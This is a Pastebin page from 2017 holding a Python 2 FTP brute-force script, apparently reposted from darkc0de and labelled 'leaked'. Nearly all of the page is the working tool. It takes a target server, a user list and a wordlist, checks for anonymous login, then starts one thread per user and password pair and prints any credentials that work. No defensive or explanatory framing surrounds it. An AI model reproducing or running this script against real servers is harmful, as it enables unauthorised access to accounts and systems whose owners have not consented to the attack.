Advertisement
Coby_Root

ftpbrute

Oct 13th, 2017
437
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.37 KB | None | 0 0
  1. #!usr/bin/python
  2. #Ftp Brute Forcer
  3. #http://www.darkc0de.com
  4. #d3hydr8[at]gmail[dot]com
  5.  
  6.  
  7.  
  8. ################################################################
  9. #
  10. #                   Important : The script is not my own script
  11. #
  12. #  Pastebin : https://pastebin.com/u/Coby_Root
  13. #  Twitter : twitter.com/coby_unknow
  14. #
  15. #
  16. ##################################################################
  17.  
  18. import threading, time, random, sys, ftplib
  19. from ftplib import FTP
  20. from copy import copy
  21.  
  22. if len(sys.argv) !=4:
  23.     print "Usage: ./ftpbrute.py <server> <userlist> <wordlist>"
  24.     sys.exit(1)
  25.  
  26. try:
  27.     users = open(sys.argv[2], "r").readlines()
  28. except(IOError):
  29.     print "Error: Check your userlist path\n"
  30.     sys.exit(1)
  31.  
  32. try:
  33.     words = open(sys.argv[3], "r").readlines()
  34. except(IOError):
  35.     print "Error: Check your wordlist path\n"
  36.     sys.exit(1)
  37.  
  38. print "\n\t   Leaked by Coby | ftpBruteForcer v1.0"
  39. print "\t--------------------------------------------------\n"
  40. print "[+] Server:",sys.argv[1]
  41. print "[+] Users Loaded:",len(users)
  42. print "[+] Words Loaded:",len(words),"\n"
  43.  
  44. try:
  45.     f = FTP(sys.argv[1])
  46.     print "[+] Response:",f.getwelcome()
  47. except (ftplib.all_errors):
  48.     pass
  49.  
  50. try:
  51.     print "\n[+] Checking for anonymous login\n"
  52.     ftp = FTP(sys.argv[1])
  53.     ftp.login()
  54.     ftp.retrlines('LIST')
  55.     print "\t\nAnonymous login successful!!!\n"
  56.     ftp.quit()
  57. except (ftplib.all_errors):
  58.     print "\tAnonymous login unsuccessful\n"
  59.  
  60. wordlist = copy(words)
  61.  
  62. def reloader():
  63.     for word in wordlist:
  64.         words.append(word)
  65.  
  66. def getword():
  67.     lock = threading.Lock()
  68.     lock.acquire()
  69.     if len(words) != 0:
  70.         value = random.sample(words,  1)
  71.         words.remove(value[0])     
  72.     else:
  73.         print "\nReloading Wordlist - Changing User\n"
  74.         reloader()
  75.         value = random.sample(words,  1)
  76.         users.remove(users[0])
  77.        
  78.     lock.release()
  79.     if len(users) ==1:
  80.         return value[0][:-1], users[0]
  81.     else:
  82.         return value[0][:-1], users[0][:-1]
  83.        
  84. class Worker(threading.Thread):
  85.    
  86.     def run(self):
  87.         value, user = getword()
  88.         try:
  89.             print "-"*12
  90.             print "User:",user,"Password:",value
  91.             ftp = FTP(sys.argv[1])
  92.             ftp.login(user, value)
  93.             ftp.retrlines('LIST')
  94.             print "\t\nLogin successful:",value, user
  95.             ftp.quit()
  96.             work.join()
  97.             sys.exit(2)
  98.         except (ftplib.all_errors), msg:
  99.             #print "An error occurred:", msg
  100.             pass
  101.  
  102. for i in range(len(words)*len(users)):
  103.     work = Worker()
  104.     work.start()
  105.     time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement